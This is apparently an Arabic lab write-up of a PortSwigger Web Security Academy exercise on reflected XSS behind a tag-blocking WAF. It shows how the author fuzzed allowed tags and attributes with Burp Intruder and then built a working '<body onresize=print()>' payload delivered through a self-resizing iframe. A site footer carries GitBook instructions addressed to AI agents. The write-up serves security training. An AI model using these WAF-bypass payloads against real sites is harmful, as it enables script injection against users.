> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/xss/reflected-xss-in-html-with-blocked-tags.md).

# XSS منعكس في HTML مع وسوم محظورة

### XSS منعكس في سياق HTML مع حظر معظم الوسوم والسمات

تحتوي هذه المختبر على ثغرة XSS منعكسة في ميزة البحث، لكن جدار حماية التطبيقات (WAF) يحظر أكثر متجهات XSS شيوعًا. / لحل المختبر، يجب عليك تجاوز WAF وتفعيل الـ `print()` الدالة.

* محاولة حمولات كلاسيكية مثل `<h1>test</h1>`, `<img` أو `<script` الإجابة هي: "الوسم غير مسموح به".

```html
<h1>test</h1>
<img
<script
...
```

<figure><img src="/files/a9ef9ace0d0f88e43692bc4e81eb4e9e57cfa825" alt=""><figcaption></figcaption></figure>

* اعترضت الصفحة باستخدام Burp Suite وقمت بإرسالها عبر Intruder.

<figure><img src="/files/8f9f970c4eeab3cf0926571037f3c0eccb021e1a" alt=""><figcaption></figcaption></figure>

نسخت أنواع سمات الأحداث (معالجات الأحداث) واختبرت عدةً منها في ورقة الغش الخاصة بـ PortSwigger.

<figure><img src="/files/21a4ad991122143b16217320d81469962346d707" alt=""><figcaption></figcaption></figure>

* J

<figure><img src="/files/2ba498b9536cbf2e49c5a1906db496cddd2c220c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/97eecffc559ec3896697b29964b4b859073a6bed" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7754c5f7eafb8623bd2334911c5ad8b2736ea3d8" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/bee4f113a0a66ab825bb9f39ed4601e212d7f81f" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/00ae933029092caf4f347edc3c15b936f317a200" alt=""><figcaption></figcaption></figure>

```
<body test=1>
```

<figure><img src="/files/239497fae37a0442343a5a649d856e63c3ead05f" alt=""><figcaption></figcaption></figure>

* قمت بتصفية/تجربة عدة سمات للأحداث وركّزت على `onresize`.

```javascript
<body onresize=alert(0)>
```

الحمولة المختبرة وعملت:

* حقن مباشر: `<body onresize=alert(0)>` — عند تغيير الحجم (عجلة التكبير) يظهر التنبيه.

<figure><img src="/files/9e15a551a7dcbfdff70ed5360dd694c853e10ef5" alt=""><figcaption></figcaption></figure>

الهدف النهائي: استدعِ `print()` بدلاً من `alert()`:

```javascript
<body onresize=print()>
```

<figure><img src="/files/159fa54575d8def5ea3b3c9ee06220146727a76e" alt=""><figcaption></figcaption></figure>

تم إرسال استغلال URL إلى الضحية:

```javascript
https://0a8500230379f8e980d8032300850075.web-security-academy.net/?search=
```

التسليم عبر iframe والتفعيل التلقائي:

* لفرض `onresize` تحميل الحدث داخل الإطار، يتم تغيير عرض الإطار من `onload` سمة:

{% code overflow="wrap" %}

```javascript
<iframe src="https://0a8500230379f8e980d8032300850075.web-security-academy.net/?search=<body+onresize%3Dprint()>"</iframe>
```

{% endcode %}

<figure><img src="/files/e3ef30a2e1d831a1fe93d4adb96a92c87c4974e1" alt=""><figcaption></figcaption></figure>

والنسخة مع تعديل العرض عند التحميل:

{% code overflow="wrap" %}

```javascript
<iframe id="myframe" src="https://0a8500230379f8e980d8032300850075.web-security-academy.net/?search=<body+onresize%3Dprint()>" onload=this.style.width='100px'></iframe>
```

{% endcode %}

<figure><img src="/files/f06034d4aa283edc9ff6a82569bfa15be6001ec9" alt=""><figcaption></figcaption></figure>

الملخص: تجاوز WAF عبر حقن سمة حدث مسموح بها (`onresize`) تستدعي `print()`، ثم التسليم عبر iframe مع `onload` التي تغيّر الحجم لتفعيل `onresize`.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/xss/reflected-xss-in-html-with-blocked-tags.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
